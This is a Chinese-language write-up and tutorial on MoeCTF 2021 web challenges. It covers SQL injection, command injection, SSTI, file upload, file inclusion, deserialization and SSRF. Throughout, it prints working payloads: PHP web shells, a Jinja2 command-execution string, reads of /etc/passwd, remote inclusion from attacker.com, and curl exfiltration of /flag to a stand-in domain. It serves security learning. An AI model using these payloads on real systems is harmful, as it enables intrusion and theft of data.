ARTICLE DETAIL

资讯详情

深耕编程入门与网站建设的一线实战洞察。

CTF Web安全入门:从信息搜集到漏洞利用的实战解析

CTF Web安全入门:从信息搜集到漏洞利用的实战解析 1. 项目概述一次完整的CTF Web题解复盘去年秋天我作为校内战队的一员完整地参与了MoeCTF 2021的线上赛。作为一场面向新生的入门级赛事它的Web题目设计得非常友好覆盖了从基础到进阶的常见漏洞类型是绝佳的学习路径图。比赛结束后我花了几天时间把当时解题的思路、踩过的坑以及后续的深入思考整理成了这份详细的Writeup。这不仅仅是一份答案合集我更想把它写成一份“解题心路历程”分享给所有刚踏入Web安全领域的朋友们。无论你是想回顾这场比赛还是希望通过经典案例来系统性地构建自己的Web安全知识体系相信这份复盘都能给你带来实实在在的收获。我会按照题目难度和逻辑关联逐一拆解每道题的核心考点、解题步骤以及背后那些“为什么”。2. 核心考点与解题思路全景拆解MoeCTF 2021的Web方向题目整体上遵循了由浅入深的原则。我们可以将其核心考点归纳为几个清晰的模块信息搜集与前端基础、各类注入漏洞、文件处理漏洞、服务端逻辑漏洞以及一些需要灵活思维的杂项题。解题的第一步永远是“信息搜集”这不仅仅是看题目描述还包括查看网页源代码、分析网络请求、尝试目录扫描等。很多题目的提示或flag就藏在不起眼的注释、JS文件甚至HTTP响应头里。2.1 信息搜集一切的开端对于任何CTF Web题拿到题目链接通常是一个IP或域名加端口后不要急着进行复杂操作。首先用浏览器正常访问观察页面呈现的内容。紧接着立即按下F12打开开发者工具这是你的“侦察兵”。查看页面源代码CtrlU这是最基本也最有效的一步。出题人经常将提示、隐藏的链接、甚至是部分flag直接写在HTML注释!-- --中。在MoeCTF中就有题目直接将下一步的入口或提示信息注释在了页面里。分析网络请求Network标签页刷新页面观察加载了哪些资源JS、CSS、图片。有时关键的API接口、隐藏的路径如/admin/backup会在这里暴露。同时要密切关注每个请求和响应的HTTP头部信息。X-FlagHint等自定义头部或是Location重定向字段都可能是解题的关键。在实战中我养成了习惯一定会看一眼响应头这救了我很多次。尝试目录/文件枚举如果页面看起来很简单没有明显线索下一步就是使用工具进行目录爆破。常用的工具有dirsearchgobuster或ffuf。对于入门赛常见的备份文件如index.php.bakwww.zip.git/目录、管理后台admin.phplogin.php、配置文件config.php.env都可能是突破口。在MoeCTF中有一道题正是通过发现.git目录泄露进而通过git恢复历史版本找到了被删除的flag。注意使用扫描工具时要注意频率避免对比赛服务器造成压力。同时一个强大的字典文件至关重要可以自己积累也可以使用SecLists项目中的字典。2.2 前端相关漏洞JavaScript与HTML的博弈这类题目通常考察对前端代码的理解和绕过技巧。1. 客户端验证绕过这是最经典的题型。题目提供一个输入框提交时用JavaScript检查你输入的内容例如是否包含“flag”这个词。新手容易在这里卡住因为无论怎么输入页面都提示非法。破解方法极其简单直接禁用JavaScript或者使用Burp Suite等代理工具拦截修改请求。浏览器的验证只是为了提升用户体验服务器端才是最终的裁判。你完全可以在本地修改HTML表单项或通过代理发送一个未经前端验证的请求包。2. 源码审计与逻辑分析题目可能会将核心逻辑直接写在前端JavaScript中。例如flag可能由一段JS代码动态生成或者输入经过一套复杂的JS函数变换后与某个值比较。这就需要你耐心地阅读和分析JS代码。浏览器的“开发者工具”中的“调试器Debugger”和“控制台Console”是你的主战场。你可以在控制台直接执行或修改函数单步调试跟踪变量值从而逆向出算法或直接获取flag。3. Cookie与本地存储操作题目可能会将状态信息、认证令牌或部分flag存储在客户端的Cookie、localStorage或sessionStorage中。检查这些位置有时直接修改其值就能提升权限或触发不同的逻辑。例如将Cookie中的isAdmin0改为isAdmin1可能就直接进入了后台。3. 注入类漏洞详解从SQL到命令执行注入漏洞是Web安全的基石也是CTF的常客。MoeCTF 2021很好地覆盖了这几种类型。3.1 SQL注入数据库的攻防SQL注入的核心在于让应用程序意外地执行我们精心构造的SQL代码。解题步骤寻找注入点在任何一个与数据库交互的地方尝试如登录框、搜索框、商品ID?id1。尝试输入单引号‘ 如果页面返回数据库错误如MySQL PostgreSQL的特定错误信息则存在注入可能。如果页面显示异常空白、不同内容也可能是注入点。判断注入类型与数据库数字型参数是数字如id1。测试id1 and 11和id1 and 12。如果前者正常后者异常则是数字型注入。字符型参数是字符串如nameadmin。测试nameadmin and 11和nameadmin and 12。通过错误信息或特性函数猜数据库version()MySQLsqlite_version()SQLiteversionMSSQL。联合查询Union注入获取数据这是最直接的方式。前提是你能确定查询的列数。确定列数使用order by或union select递增数字直到报错。例如?id1 order by 5正常order by 6错误则列数为5。判断回显点使用union select 1,2,3,4,5 观察页面中哪个数字被显示出来这些位置就是我们可以插入查询结果的地方。获取信息在回显点替换为想要查询的信息。例如在回显点2的位置union select 1, database(),3,4,5获取当前数据库名union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schemadatabase()获取所有表名进而获取列名和字段值。MoeCTF实战举例一道题在搜索功能存在字符型注入。我首先用确认了漏洞然后用 order by 4--确定了列数为4。接着 union select 1,2,3,4--发现2和3是回显点。最后通过查询information_schema 找到了一个名为flag的表和列使用 union select 1,flag,3,4 from flag--成功拿到flag。实操心得--后面有个空格是MySQL的单行注释符用于注释掉原SQL语句后面的部分非常重要。在URL中空格需要编码为或%20。联合查询时前后查询的列数必须一致类型最好兼容。3.2 命令注入Command Injection当应用程序将用户输入拼接到系统命令中执行时就可能产生命令注入。常见于功能如Ping测试、DNS查询、文件压缩等。解题思路寻找可能执行系统命令的功能点。尝试注入命令分隔符Linux:;|||\n换行Windows:|||常用Payload127.0.0.1; ls执行ls命令127.0.0.1 cat /flag前一个成功则执行后一个127.0.0.1 | cat /etc/passwd如果空格被过滤可以用${IFS}$IFS$9或重定向符号代替。进阶技巧盲注没有回显时可以通过延时 (sleep 5)、DNS外带 (curl http://your-domain.com?data$(cat /flag|base64)) 或写入文件再访问的方式获取结果。绕过过滤如果过滤了空格、分号等需要尝试各种变形。例如用{cat,/flag}代替cat /flag。3.3 模板注入SSTI服务器端模板注入发生在将用户输入直接拼接进模板字符串并进行渲染时。常见于Python的Jinja2、Flask PHP的Twig Java的Thymeleaf等框架。判断SSTI尝试输入数学表达式{{7*7}} 如果页面显示49则很可能存在Jinja2Flask的SSTI。{7*7}可能对应Twig。利用步骤以Jinja2为例确认漏洞{{7*7}}会返回7777777。寻找可用的类和方法Jinja2中一切对象都继承自object。可以从内置的类如.__class__开始沿着继承链向上找到object基类再向下遍历所有子类寻找可以执行命令的模块。常用Payload获取基本类.__class__获取基类.__class__.__base__获取所有子类.__class__.__base__.__subclasses__()在这些子类中通常会寻找class os._wrap_close或class subprocess.Popen这类可以执行命令的类。找到其索引后调用相关方法。一个相对通用的命令执行Payload需要根据实际索引调整{{.__class__.__base__.__subclasses__()[X].__init__.__globals__[os].popen(whoami).read()}}其中X是os._wrap_close类在子类列表中的索引。MoeCTF中的SSTI题通常是一道简单的Flask题输入点直接渲染。通过{{config}}可能就能直接看到包含flag的配置项或者通过上述方法一步步执行命令找到flag。4. 文件处理漏洞上传、包含与读取文件相关的漏洞是另一个重点领域。4.1 文件上传漏洞目标是绕过前端和后端的检查上传一个可执行的Web Shell如PHP的?php system($_GET[‘cmd’]);?。常见绕过技巧前端绕过直接禁用JS或修改前端HTML允许上传任意后缀文件。黑名单绕过如果后端黑名单禁止了.php.phtml等可以尝试其他可执行后缀.php5.phps.pht.phar取决于服务器配置。大小写.Php.PHP。双写后缀.pphphp过滤掉php后变成.php。加点/加空格Windows特性shell.php.或shell.php最后是空格 系统可能会自动去除。.htaccess攻击Apache如果允许上传.htaccess 可以编写规则将特定文件如.jpg当作PHP解析。白名单绕过只允许.jpg.png。可以尝试文件头欺骗Magic Bytes在真实的图片文件开头插入Web Shell代码。或者用十六进制编辑器在图片末尾添加PHP代码。配合文件包含漏洞将此图片作为PHP文件包含执行。%00截断PHP旧版本在路径参数中使用空字符截断如shell.jpg%00.php 但需要特定环境。内容检查绕过检测文件内容是否包含?php等标签。使用其他标签script language“php”system(“whoami”);/script。使用短标签? system($_GET[‘cmd’]);?。使用动态调用?php $_GET[‘a’]($_GET[‘b’]);? 然后传递asystembwhoami。上传后的利用成功上传Web Shell后访问其路径通过URL参数传递命令如/uploads/shell.php?cmdcat /flag。4.2 文件包含漏洞LFI/RFI文件包含允许脚本动态包含另一个文件。分为本地文件包含LFI和远程文件包含RFI。本地文件包含LFI参数如?fileindex.php。通过目录遍历读取敏感文件?file../../../../etc/passwd读取系统用户列表?file../../flag尝试读取flag文件?filephp://filter/convert.base64-encode/resourceindex.php利用PHP伪协议以Base64编码形式读取源码避免直接包含执行配合文件上传这是经典组合拳。先上传一个图片马内容为Web Shell的图片到服务器然后通过LFI漏洞包含这个图片文件服务器就会将其中的PHP代码解析执行。Payload?file./uploads/shell.jpg。远程文件包含RFI条件更苛刻需要allow_url_includeOn。攻击者可以在自己的服务器上放置一个恶意文本文件内容为PHP代码然后让目标包含这个远程URL?filehttp://attacker.com/shell.txt 目标服务器会下载并执行其中的代码。4.3 目录遍历与敏感文件读取这类题目不涉及代码执行纯粹是路径控制不当导致可以读取服务器上任意文件。尝试读取/flag/flag.txt。尝试读取应用源码/var/www/html/index.php。尝试读取配置文件/etc/passwd/proc/self/environ环境变量可能包含密钥/proc/1/cmdline。在Windows服务器上可以尝试C:\windows\system32\drivers\etc\hosts。5. 服务端逻辑与协议漏洞5.1 弱类型与哈希比较漏洞PHP特性这是PHP语言特性带来的经典问题。1. 弱类型比较在比较前会进行类型转换导致一些反直觉的结果。“admin”0为真因为字符串“admin”转换为数字是0。“0e123456”“0e987654”为真因为两者都被认为是科学计数法的0。实战应用在MD5碰撞题中寻找两个不同的字符串其MD5哈希值都以0e开头后面全是数字如240610708和QNKCDZO的MD5值都是0e开头。用比较时两者相等。2. 哈希比较与md5(数组)是严格比较但md5()函数处理数组时会返回NULL并产生警告。因此如果代码是if(md5($_GET[‘a]) md5($_GET[‘b])) 我们可以传递数组绕过?a[]1b[]2。此时md5(a)和md5(b)都是NULL 条件成立。5.2 反序列化漏洞这是CTF中较难但非常重要的考点。当应用程序使用unserialize()函数时如果参数可控攻击者可以构造一个恶意的序列化字符串在反序列化时触发对象中某些“魔法方法”如__wakeup()__destruct()__toString()的执行从而执行任意代码或进行属性注入。解题思路找到反序列化入口点可能是Cookie、POST参数、SESSION中的某个值。获取源码通过文件包含、目录遍历或.bak文件等方式拿到源码。代码审计分析源码中的类定义重点关注魔法方法和有危险操作的普通方法如exec()file_put_contents()。构造POP链如果单个类的魔法方法不能直接利用需要寻找多个类通过它们之间的属性调用关系形成一条从入口点到危险函数的调用链Property-Oriented Programming。生成Payload根据链实例化对象并设置好属性然后使用serialize()生成序列化字符串发送给服务器。一个极简的例子// 源码 class Example { public $cmd ‘whoami’; function __destruct() { system($this-cmd); } } // 攻击者构造 $obj new Example(); $obj-cmd ‘cat /flag’; echo serialize($obj); // 输出: O:7:“Example”:1:{s:3:“cmd”;s:10:“cat /flag”;}将输出的字符串传递给反序列化函数对象被还原脚本结束时__destruct()被调用执行了cat /flag。5.3 SSRF服务器端请求伪造SSRF允许攻击者诱使服务器向内部或外部的任意地址发起请求。常用于探测或攻击内网服务。常见产生场景网页提供了“转存图片”、“获取URL内容”、“在线翻译”等功能。file_get_contents()curl()等函数的参数用户可控。利用方式探测内网信息让服务器访问http://127.0.0.1:80http://192.168.1.1:8080/admin等根据响应时间或内容判断端口开放和服务情况。攻击内网应用如果内网存在未授权访问的Redis、MySQL、Memcached等服务可以通过SSRF与之交互甚至获取Shell。读取本地文件利用某些协议如file://gopher://dict://。例如?urlfile:///etc/passwd。绕过技巧IP地址变形127.0.0.1-2130706433十进制0x7f000001十六进制127.1127.0.0.1.nip.io。利用URL解析差异http://foo127.0.0.1http://127.0.0.1:80evil.com。利用重定向在自己的服务器上设置一个302重定向到目标内网地址。6. 实战问题排查与技巧实录在真实的解题过程中理论是骨架而经验和技巧才是血肉。下面分享几个我踩过的坑和总结的技巧。6.1 常见问题速查表问题现象可能原因排查思路注入Payload提交后无回显1. 盲注2. 代码执行但结果未输出到页面3. 有WAF拦截1. 尝试使用时间盲注 (sleep(5))2. 尝试DNSLog或HTTP外带数据3. 检查响应包长度、状态码的细微变化4. 尝试简单Payload如1‘测试WAF文件上传成功但无法访问1. 上传路径不对2. 文件被重命名3. 访问权限不足4. 文件内容被净化1. 查看响应包确认返回的文件路径2. 尝试目录扫描寻找上传目录3. 上传一个纯文本文件测试访问4. 检查文件内容是否被修改包含文件时页面空白或报错1. 包含的文件不存在或路径错误2. 包含的文件语法有误导致解析错误3. 开启了错误抑制符1. 使用绝对路径或更多../尝试2. 使用php://filter伪协议以Base64读取避免解析3. 查看网络响应或HTML源码可能有隐藏错误反序列化Payload无效1. 魔术引号已废弃或特殊字符过滤2. 类不存在或属性不匹配3. POP链构造错误1. 检查Payload中字符串长度s:X:是否准确2. 尝试使用URL编码3. 仔细审计源码确认类名和属性名大小写、可见性public/private/protected命令执行无回显1. 命令执行了但输出被丢弃2. 当前用户权限低1. 尝试使用延时命令ping -c 5 127.0.0.1判断是否执行2. 尝试将输出写入web目录下的文件whoami /var/www/html/out.txt3. 尝试DNS外带curl http://your-domain.com/$(whoami6.2 独家避坑技巧与心得“万能”的Burp Suite它绝不仅仅是抓包工具。Repeater用于重放和修改请求Intruder用于爆破和模糊测试Decoder用于各种编码解码Comparer用于对比响应差异。在盲注时用Intruder的Sniper模式并设置Grep-Match提取响应中的特定关键词效率远超手动。编码是常态URL编码 (%20) HTML实体编码 () Base64 Hex Unicode……遇到Payload被过滤或截断多尝试几种编码方式。Burp Suite的Decoder模块可以方便地进行转换和测试。留心细微之处HTTP响应头、Cookie的微小变化、错误信息的细微差别、页面加载时间的差异都可能是重要的突破口。养成对比“正常请求”和“攻击请求”响应差异的习惯。善用搜索引擎和社区遇到不认识的函数、不理解的错误信息直接搜索。很多偏门的漏洞利用方式如特定框架的SSTI Payload、反序列化链都可以在安全社区、博客或GitHub上找到现成的资料。但切记要理解原理不要只会复制粘贴。保持耐心与记录CTF解题尤其是Web题常常是“山重水复疑无路柳暗花明又一村”。把尝试过的Payload、观察到的现象、自己的假设都记录下来。一个好的笔记工具如Notion Obsidian能帮你理清思路避免在死胡同里打转。从开发者的角度思考尝试理解这道题背后的代码可能怎么写。一个登录功能开发者可能会先查用户名再比对密码。那么如果用户名不存在是不是就能绕过密码检查这种“猜代码”的能力需要通过大量练习和阅读真实漏洞案例来培养。复盘MoeCTF 2021的Web题目就像重新走了一遍Web安全的入门之路。从最初的信息搜集到各种注入、文件操作再到稍复杂的逻辑漏洞和反序列化题目设计清晰地勾勒出了知识轮廓。对我而言最大的收获不是解出了多少题而是在这个过程中建立起的“攻击者思维”永远质疑输入永远思考数据流向永远尝试边界情况。这份Writeup里的每一个步骤和技巧都是当时在深夜一遍遍尝试、失败、再尝试中积累下来的。希望这份带着个人实战体温的复盘能帮你少走些弯路更快地感受到Web安全那片深邃而有趣的海洋。如果遇到任何问题最好的办法就是自己动手搭一个靶场环境把Payload敲进去亲眼看看会发生什么。实践是唯一可靠的老师。
返回列表